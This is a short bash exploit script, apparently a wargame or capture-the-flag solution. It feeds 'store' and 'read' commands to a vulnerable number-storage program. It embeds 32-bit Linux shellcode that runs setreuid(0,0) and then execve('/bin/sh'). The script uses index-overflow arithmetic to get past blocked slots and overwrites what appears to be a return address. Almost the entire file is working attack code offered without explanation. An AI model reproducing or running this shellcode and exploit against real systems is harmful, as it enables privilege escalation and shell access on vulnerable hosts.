46 lines
830 B
Bash
Executable File
46 lines
830 B
Bash
Executable File
#!/bin/bash
|
|
|
|
|
|
# shellcode is :
|
|
# \x31\xc0\xb0\x46
|
|
# \x31\xdb\x31\xc9
|
|
# \xcd\x80\xeb\x16
|
|
# \x5b\x31\xc0\x88
|
|
# \x43\x07\x89\x5b
|
|
# \x08\x89\x43\x0c
|
|
# \xb0\x0b\x8d\x4b
|
|
# \x08\x8d\x53\x0c
|
|
# \xcd\x80\xe8\xe5
|
|
# \xff\xff\xff\x2f
|
|
# \x62\x69\x6e\x2f
|
|
# \x73\x68
|
|
|
|
IFS=''
|
|
|
|
shellcode=(0x46b0c031 0xc931db31 0x16eb80cd 0x88c0315b 0x5b890743 0x0c438908 0x4b8d0bb0 0x0c538d08 0xe5e880cd 0x2fffffff 0x2f6e6962 0x00006873)
|
|
|
|
bit_mask=2147483691
|
|
|
|
init_addr=43
|
|
|
|
for ((i = 0; i < ${#shellcode[@]}; i++)); do
|
|
echo "store"
|
|
echo "$(( ${shellcode[$i]} ))"
|
|
if (( (i + init_addr) % 3 == 0)); then
|
|
echo "$(( i + bit_mask ))"
|
|
else
|
|
echo "$((i + init_addr))"
|
|
fi
|
|
done
|
|
|
|
echo "store"
|
|
echo "$(( 0xffffd600 ))"
|
|
echo "$(( -1040108880 ))"
|
|
echo "read"
|
|
|
|
#for i in $(seq 0 11); do
|
|
# echo "store"
|
|
# echo "${shellcode[$i]}"
|
|
# echo $(($i + $bit_mask))
|
|
#done
|